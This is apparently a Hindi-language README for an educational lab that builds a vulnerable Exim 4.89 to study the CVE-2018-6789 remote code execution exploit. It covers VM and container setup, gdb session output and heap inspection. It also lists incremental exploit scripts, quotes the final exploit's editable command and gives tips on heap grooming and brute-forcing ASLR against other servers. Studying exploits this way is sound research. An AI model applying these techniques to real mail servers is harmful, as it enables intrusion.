
यह रिपॉजिटरी यह समझने के लिए एक सीखने का वातावरण प्रदान करती है कि CVE-2018-6789 के लिए Exim RCE एक्सप्लॉइट कैसे काम करता है।
यह Exim RCE (CVE-2018-6789) की जाँच करने के लिए एक वातावरण तैयार करने हेतु फ़ाइलों, स्क्रिप्ट्स, नोट्स, ... का एक समूह है। इसका उपयोग Exim को डीबग करने, एक्सप्लॉइट लिखने, Exim फ़ंक्शन कॉल्स को ट्रेस करने, Exim के कस्टम मेमोरी प्रबंधन (storeblocks) के बारे में जानने, यह पता लगाने के लिए किया जा सकता है कि वास्तविक दुनिया का एक्सप्लॉइट कैसे काम करता है, ...
इसका उपयोग केवल शैक्षणिक उद्देश्यों के लिए किया जाना चाहिए!
vagrant-libvirt प्लगइन)Exim का सोर्स कोड डाउनलोड करने के लिए यह निष्पादित करें
$ git submodule update --init
रूट निर्देशिका में एक Vagrantfile है। यह वर्चुअलाइज़ेशन प्रदाता के रूप में libvirt का उपयोग करता है। बॉक्स को box_url के माध्यम से सीधे Fedora के मिरर से खींचा जाता है क्योंकि Vagrant Cloud डाउनलोड वर्तमान में टूटे हुए हैं (HCP माइग्रेशन); Fedora वहाँ केवल libvirt और VirtualBox बॉक्स प्रकाशित करता है (कोई VMware नहीं), और एक सीधा प्रदाता-विशिष्ट होता है, इसलिए यह सेटअप केवल libvirt को लक्षित करता है।
box_url# -*- mode: ruby -*-
# vi: set ft=ruby :
memory = 8192 # in MiB
cpus = 4
Vagrant.configure("2") do |config|
# Vagrant Cloud downloads are broken; pull the box from Fedora's mirror
config.vm.box = "fedora-44-cloud-base"
config.vm.box_url = "https://download.fedoraproject.org/pub/fedora/linux/releases/44/Cloud/x86_64/images/Fedora-Cloud-Base-Vagrant-libvirt-44-1.7.x86_64.vagrant.libvirt.box"
config.vm.provider "libvirt" do |lv|
lv.memory = memory
lv.cpus = cpus
end
config.vm.provision "shell", inline: <<-SHELL
/vagrant/scripts/setup_vm.sh
SHELL
end
आप कॉन्फ़िगरेशन को अपनी इच्छानुसार बदल सकते हैं, लेकिन ध्यान रखें कि, उदाहरण के लिए, setup_vm.sh स्क्रिप्ट पैकेज स्थापित करने के लिए dnf का उपयोग करती है। यदि आप Ubuntu का उपयोग करना चाहते हैं, तो आपको dnf install पंक्तियों को apt-get install से बदलना होगा और पैकेज नामों को तदनुसार समायोजित करना होगा। हालाँकि, इस बात की कोई गारंटी नहीं है कि सेटअप सही ढंग से काम करेगा।
जब आप अपने कॉन्फ़िगरेशन से संतुष्ट हों, तो बस यह चलाएँ:
$ vagrant up
मशीन सेट अप करने के लिए और उसके बाद
$ vagrant ssh
इससे जुड़ने के लिए। यदि आप नहीं जानते कि Vagrant का उपयोग कैसे करें, तो यहाँ देखें: https://www.vagrantup.com/intro/getting-started/
Vagrant वर्तमान निर्देशिका (यानी आपके द्वारा अभी क्लोन किया गया रिपॉजिटरी) को एक साझा निर्देशिका के रूप में /vagrant में मैप करता है। Exim के लिए Docker इमेज बनाने और चलाने के लिए निम्न कमांड अपने VM के अंदर (vagrant ssh) दर्ज करें
[vagrant@localhost ~]$ cd /vagrant
[vagrant@localhost vagrant]$ ./scripts/reset_docker.sh
पहली बार इसमें अधिक समय लगेगा क्योंकि Exim को स्रोत से बनाया जाएगा। यदि आप डीबगिंग स्क्रिप्ट या अन्य फ़ाइलों को संशोधित करते हैं जिन्हें डॉकर कंटेनर में कॉपी किया जाएगा, तो आप Docker इमेज को फिर से बनाने के लिए हमेशा ./scripts/reset_docker.sh का उपयोग कर सकते हैं। निश्चित रूप से, आप स्क्रिप्ट से आवश्यक पंक्तियों को काटकर उन्हें अलग-अलग कमांड के रूप में भी चला सकते हैं।
जब सब कुछ हो जाए, तो आपको एक रूट कंसोल दिखाई देना चाहिए:
Successfully tagged exim:latest
787f310ef922a1e519cf8bb47f1c4fed5f510da705e7ceefd48f160c980e969c
root@787f310ef922:/opt#
अजीब स्ट्रिंग्स आपकी मशीन पर अलग दिख सकती हैं, लेकिन अब आप अपने होस्ट मशीन पर Fedora VM में चल रहे Debian Docker कंटेनर में हैं।
सबसे पहले, आप दो टर्मिनल विंडो में vagrant ssh के साथ दो SSH सत्र बना सकते हैं। एक का उपयोग एक्सप्लॉइट चलाने और SMTP के माध्यम से Exim के साथ बातचीत करने के लिए किया जा सकता है। दूसरे का उपयोग Docker कंटेनर के भीतर Exim को शुरू करने, चलाने, डीबग करने, ... के लिए किया जाता है। VM में ASLR अक्षम है ताकि आप विश्वसनीय ब्रेकपॉइंट सेट कर सकें जो डीबगिंग सत्रों के दौरान नहीं बदलते हैं।
उदाहरण सत्र:
पहला टर्मिनल:
$ vagrant ssh
[vagrant@localhost vagrant]$
दूसरा टर्मिनल:
$ vagrant ssh
[vagrant@localhost vagrant]$ cd /vagrant
[vagrant@localhost vagrant]$ ./scripts/reset_docker.sh
...
# now you are inside the Debian Docker container
root@99296cf63016:/opt# ./run_exim.sh
root@99296cf63016:/opt# ./attach_exim.sh
run_exim.sh स्क्रिप्ट समाप्त हो जाती है और Exim पृष्ठभूमि में चलता है। ./attach_exim.sh स्क्रिप्ट को चल रहे Exim डेमॉन प्रोसेस में gdb संलग्न करना चाहिए और आपको इस तरह का आउटपुट देना चाहिए:
...
pwndbg: loaded 170 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Attaching to process 14
Reading symbols from /usr/exim/bin/exim-4.89_1-1-fc6d6586-XX-1...done.
...
0x00007ffff6b7f5e3 in __select_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 ../sysdeps/unix/syscall-template.S: No such file or directory.
Breakpoint 1 at 0x5555555c03d2: file smtp_in.c, line 1762.
Breakpoint 2 at 0x5555555c051d: file smtp_in.c, line 1884.
Breakpoint 3 at 0x55555556a2c8: file base64.c, line 154.
Breakpoint 4 at 0x5555555c6aca: file smtp_in.c, line 3690.
Exim चल रहा है और अनुरोधों की प्रतीक्षा कर रहा है। जो ब्रेकपॉइंट सेट किए गए थे, वे debugging/breakpoints फ़ाइल से आते हैं। आप प्रोसेस को बाधित करने और gdb को नियंत्रण देने के लिए Ctrl+C का उपयोग कर सकते हैं। आप यह परीक्षण करने के लिए प्रदान की गई एक्सप्लॉइट स्क्रिप्ट में से एक भी चला सकते हैं कि सब कुछ अपेक्षा के अनुसार काम कर रहा है या नहीं:
पहला टर्मिनल:
[vagrant@localhost ~]$ cd /vagrant/sploits/
[vagrant@localhost sploits]$ ./sploit_0.py
[+] Opening connection to localhost on port 25: Done
दूसरा टर्मिनल:
Thread 2.1 "exim" hit Breakpoint 2, smtp_reset (reset_point=reset_point@entry=0x555555843078) at smtp_in.c:1884
1884 {
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────
RAX 0x555555843078 ◂— 0x0
RBX 0x0
RCX 0x555555824b40 (store_last_get) —▸ 0x555555843078 ◂— 0x0
RDX 0x555555820b30 (yield_length) ◂— 0x15800001c38
RDI 0x555555843078 ◂— 0x0
RSI 0x0
R8 0x3
R9 0x52
R10 0x73
R11 0x246
R12 0x5555555ec7fa ◂— 'daemon.c'
R13 0x555555843078 ◂— 0x0
R14 0x0
R15 0x0
RBP 0x5555555ee3db ◂— and byte ptr [rax], ah /* ' %s\n' */
RSP 0x7ffffffbe528 —▸ 0x5555555c31d1 (smtp_setup_msg+67) ◂— mov dword ptr [rip + 0x260b6d], 0
RIP 0x5555555c051d (smtp_reset) ◂— push rbp
────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────
► 0x5555555c051d <smtp_reset> push rbp
0x5555555c051e <smtp_reset+1> push rbx
0x5555555c051f <smtp_reset+2> sub rsp, 8
0x5555555c0523 <smtp_reset+6> mov rbp, rdi
0x5555555c0526 <smtp_reset+9> mov qword ptr [rip + 0x263657], 0 <0x555555823b88>
0x5555555c0531 <smtp_reset+20> mov dword ptr [rip + 0x263645], 0 <0x555555823b80>
0x5555555c053b <smtp_reset+30> mov dword ptr [rip + 0x26364f], 0 <0x555555823b94>
0x5555555c0545 <smtp_reset+40> mov dword ptr [rip + 0x263699], 0 <0x555555823be8>
0x5555555c054f <smtp_reset+50> mov dword ptr [rip + 0x263687], 0 <0x555555823be0>
0x5555555c0559 <smtp_reset+60> mov dword ptr [rip + 0x263679], 0 <0x555555823bdc>
0x5555555c0563 <smtp_reset+70> mov dword ptr [rip + 0x263677], 0 <0x555555823be4>
────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────
In file: /opt/exim/src/src/smtp_in.c
1879 Returns: nothing
1880 */
1881
1882 static void
1883 smtp_reset(void *reset_point)
► 1884 {
1885 recipients_list = NULL;
1886 rcpt_count = rcpt_defer_count = rcpt_fail_count =
1887 raw_recipients_count = recipients_count = recipients_list_max = 0;
1888 cancel_cutthrough_connection("smtp reset");
1889 message_linecount = 0;
────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp 0x7ffffffbe528 —▸ 0x5555555c31d1 (smtp_setup_msg+67) ◂— mov dword ptr [rip + 0x260b6d], 0
01:0008│ 0x7ffffffbe530 —▸ 0x7ffffffbe600 ◂— 0x0
02:0010│ 0x7ffffffbe538 —▸ 0x7ffffffbe540 —▸ 0x555555605f1a ◂— add byte ptr [rip + 0x25203a73], ah
03:0018│ 0x7ffffffbe540 —▸ 0x555555605f1a ◂— add byte ptr [rip + 0x25203a73], ah
04:0020│ 0x7ffffffbe548 —▸ 0x555555843078 ◂— 0x0
05:0028│ 0x7ffffffbe550 ◂— 0x0
06:0030│ 0x7ffffffbe558 —▸ 0x7ffff6b7f5e3 (__select_nocancel+10) ◂— cmp rax, -0xfff
07:0038│ 0x7ffffffbe560 ◂— 0x7ffffffbe560
──────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
► f 0 5555555c051d smtp_reset
f 1 5555555c31d1 smtp_setup_msg+67
f 2 55555556de43 daemon_go+10909
f 3 55555556de43 daemon_go+10909
f 4 555555583ca5 main+21601
f 5 7ffff6abe2e1 __libc_start_main+241
──────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint smtp_reset
pwndbg>
आप d के साथ सभी ब्रेकपॉइंट हटा सकते हैं और c के साथ जारी रख सकते हैं ताकि sploit_0.py स्क्रिप्ट तब तक चल सके जब तक वह समाप्त न हो जाए:
दूसरा टर्मिनल:
Breakpoint smtp_reset
pwndbg> d
pwndbg> c
Continuing.
[Inferior 2 (process 42) exited with code 01]
पहला टर्मिनल:
...
220 787f310ef922 ESMTP Exim 4.89_1-1-fc6d6586-XX Mon, 02 Mar 2020 14:47:24 +0000
250-787f310ef922 Hello test.example.org [172.17.0.1]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN
250-CHUNKING
250-PRDR
250 HELP
501 Invalid base64 data
[*] Closed connection to localhost port 25
यदि आपके द्वारा अभी डीबग किया गया (संलग्न) फोर्क किया गया प्रोसेस बाहर निकलता है (जैसे [Inferior 2 (process 42) exited with code 01]), तो आप gdb से बाहर निकल सकते हैं और ./attach_exim.sh फिर से चला सकते हैं।
debugging के अंतर्गत आपको कुछ स्क्रिप्ट मिल सकती हैं जो उपयोगी हो सकती हैं। उनमें से एक स्क्रिप्ट showmem.py है। यह आपको Exim के storeblocks और संबंधित हीप चंक्स का निरीक्षण करने की अनुमति देती है। आप इसे gdb के अंदर smem कमांड के साथ चला सकते हैं:
pwndbg> smem
...
[SHOWMEM]: 0x5555558402b0: heap chunk of size 0x000004b0 (used) / data:
[SHOWMEM]: 0x555555840760: heap chunk of size 0x00000030 (used) / data: /lib/x86_64-linux-gnu
[SHOWMEM]: 0x555555840790: heap chunk of size 0x00000050 (used) / data: ...UUU
[SHOWMEM]: 0x5555558407e0: heap chunk of size 0x000000e0 (used) / data:
[SHOWMEM]: 0x5555558408c0: heap chunk of size 0x00000370 (free) / data: .~....
[SHOWMEM]: 0x555555840c30: heap chunk of size 0x00000040 (used) / data:
[SHOWMEM]: 0x555555840c70: heap chunk of size 0x00002020 (used) / data:
[SHOWMEM]: 0x555555840c80: storeblock of size 0x00002000 / data:
[SHOWMEM]: 0x555555842c90: heap chunk of size 0x00002020 (used) / data:
[SHOWMEM]: 0x555555842ca0: storeblock of size 0x00002000 / data: root
[SHOWMEM]: 0x555555844cb0: heap chunk of size 0x00008010 (used) / data:
[SHOWMEM]: 0x55555584ccc0: heap chunk of size 0x00002010 (used) / data:
[SHOWMEM]: 0x55555584ecd0: heap chunk of size 0x00001010 (used) / data: 220 99296cf63016 ESMTP Exim 4.89_1-1-fc6d6586-XX M
[SHOWMEM]: 0x55555584fce0: heap chunk of size 0x0001d320 (free) / data:
इंडेंटेड मेमोरी क्षेत्र storeblocks हैं, बाकी क्षेत्र हीप चंक्स (glibc) हैं। वर्तमान में यह एक अनुमान है क्योंकि मैंने उपयोग में आने वाले चंक्स को glibc की फ्री लिस्ट्स से क्रॉस-चेक नहीं किया है, इसलिए उपयोग/मुक्त ब्लॉकों के कुछ गलत संकेत हो सकते हैं। आप अतिरिक्त जानकारी के स्रोत के रूप में हमेशा pwndbg के bins, heap, ... कमांड का उपयोग कर सकते हैं!
नोट: libvirt / KVM के साथ /vagrant फ़ोल्डर rsync के माध्यम से सिंक किया जाता है, इसलिए होस्ट पर फ़ाइलों को संपादित करने के बाद कंटेनर को फिर से बनाने से पहले अपने परिवर्तनों को VM में कॉपी करने के लिए vagrant rsync चलाएँ (या vagrant rsync-auto चलते रहें)।
.
├── debugging # GDB related scripts
│ ├── breakpoints
│ ├── gdbinit
│ ├── showmem.py
│ └── trace.py
├── Dockerfile # Dockerfile to build and debug Exim
├── Exim # Source code for the vulnerable Exim version
├── exim_code_backup # backup of the Exim's vulnerable source code
│ └── exim-fc6d65867e82009a6e0671771728d41d3423a790.zip
├── exim_files # Patched Exim files to build Exim correctly
│ ├── configure
│ ├── eximon.conf
│ ├── Makefile
│ └── Makefile-Linux
├── README.md
├── scripts # Helper scripts to debug Exim
│ ├── attach_exim.sh
│ ├── reset_docker.sh
│ ├── run_exim.sh
│ └── setup_vm.sh
├── sploits # Incremental exploit scripts and a script to find the 0xf1 byte
│ ├── exim_0xf1.py
│ ├── smtp.py
│ ├── sploit_0.py
│ ├── sploit_1.py
│ ├── sploit_2.py
│ ├── sploit_3.py
│ ├── sploit_4.py
│ ├── sploit_5.py
│ ├── sploit_6.py
│ ├── sploit_7.py
│ ├── sploit_8.py
│ ├── sploit_9.py
│ └── sploit_10.py
└── Vagrantfile # Vagrantfile to create the VM that hosts the Docker container
एक्सप्लॉइट स्क्रिप्ट्स sploits के अंतर्गत मिल सकती हैं। उन्हें चरणबद्ध तरीके से बनाया गया है ताकि विभिन्न चरणों को समझना आसान हो। वे medium.com पर @straightblast426 द्वारा दिए गए चरणों के लगभग समान हैं।
sploit_10.py अंतिम स्क्रिप्ट है जिसे एक ही स्क्रिप्ट में RCE का प्रदर्शन करना चाहिए। यह स्क्रिप्ट रिवर्स शेल नहीं चलाती बल्कि /tmp के अंतर्गत एक फ़ाइल बनाती है। आप निम्न पंक्ति को संपादित करके इसे संशोधित कर सकते हैं:
cmd = '/bin/bash -c "touch /tmp/pwned"'
कृपया ध्यान दें कि प्रदान की गई sploit_10.py स्क्रिप्ट भेद्यता का शोषण करने का एकमात्र तरीका नहीं है। उदाहरण के लिए, हीप को व्यवस्थित करने के अन्य तरीके भी हैं!
ग्रूमिंग पर्यावरण के प्रति संवेदनशील है: host_lookup = को अक्षम रखें (एक रिवर्स-DNS क्लाइंट नाम उस हीप को प्रदूषित करता है जिसे एक्सप्लॉइट ग्रूम करता है) और कंटेनर को debian:bullseye पर रखें (ग्रूमिंग केवल Debian के glibc 2.31 पर काम करती है, Ubuntu या bookworm पर नहीं)। इसका अर्थ यह भी है कि यह रिपॉजिटरी (जैसी है) तभी काम करेगी जब तक कोई डिस्ट्रो उपलब्ध है जो glibc 2.31 (पहली बार 2020 में जारी) प्रदान करता है!
next पॉइंटर को पहले से ज्ञात एक स्थिर पते के साथ बदला जाएगा (यह आपके लिए भी काम करना चाहिए यदि आप समान सेटअप का उपयोग करते हैं)। यदि आप इस एक्सप्लॉइट को किसी अन्य चल रहे Exim के विरुद्ध चलाते हैं, तो यह काम नहीं करेगा (संभावनाएँ बहुत कम हैं)। आप कुछ ब्रूट-फोर्सिंग के साथ ASLR को बायपास कर सकते हैं। यह काफी अच्छा काम करता है क्योंकि Exim क्लाइंट अनुरोधों को संभालने के लिए स्वयं को फोर्क (क्लोन) करता है। इसका मतलब है कि समग्र मेमोरी लेआउट समान रहता है और आपको next पॉइंटर को ब्रूट-फोर्स करने का एक वास्तविक मौका मिलता है। यदि आप नहीं जानते कि next पॉइंटर क्या है, तो आपको पहले संदर्भों को पढ़ना चाहिए।
यदि आप exim को थोड़ा अलग तरीके से बनाते हैं, तो next पॉइंटर का स्थान भिन्न हो सकता है। आपको उस storeblock का पता खोजना होगा जिसमें acl_smtp_rcpt होता है। इन चरणों का पालन करें और संबंधित sploit_xx.py फ़ाइलों में पॉइंटर को समायोजित करें:
# connect to VM with: vagrant ssh
./run_exim.sh
./attach_exim.sh
# pwndbg starts, then Ctrl-C
pwndbg> smem
[SHOWMEM]: 0x55555562e6b0: heap chunk of size 0x00002020 (used) / data: .2cUUU
[SHOWMEM]: 0x55555562e6c0: storeblock of size 0x00002000 / data: /usr/exim/configure
...
पते 0x55555562e6c0 वाला storeblock acl_smtp_rcpt भी रखता है:
pwndbg> p acl_smtp_rcpt
$1 = (uschar *) 0x55555562e7f0 "acl_check_rcpt"
इसलिए एक्सप्लॉइट स्क्रिप्ट्स में, इसे smem कमांड के साथ प्रदर्शित पते से बदलें:
# ...
# address of the ACL strings storeblock (not the chunk)
address_of_acl_storeblock = 0x55555562E6C0
# ...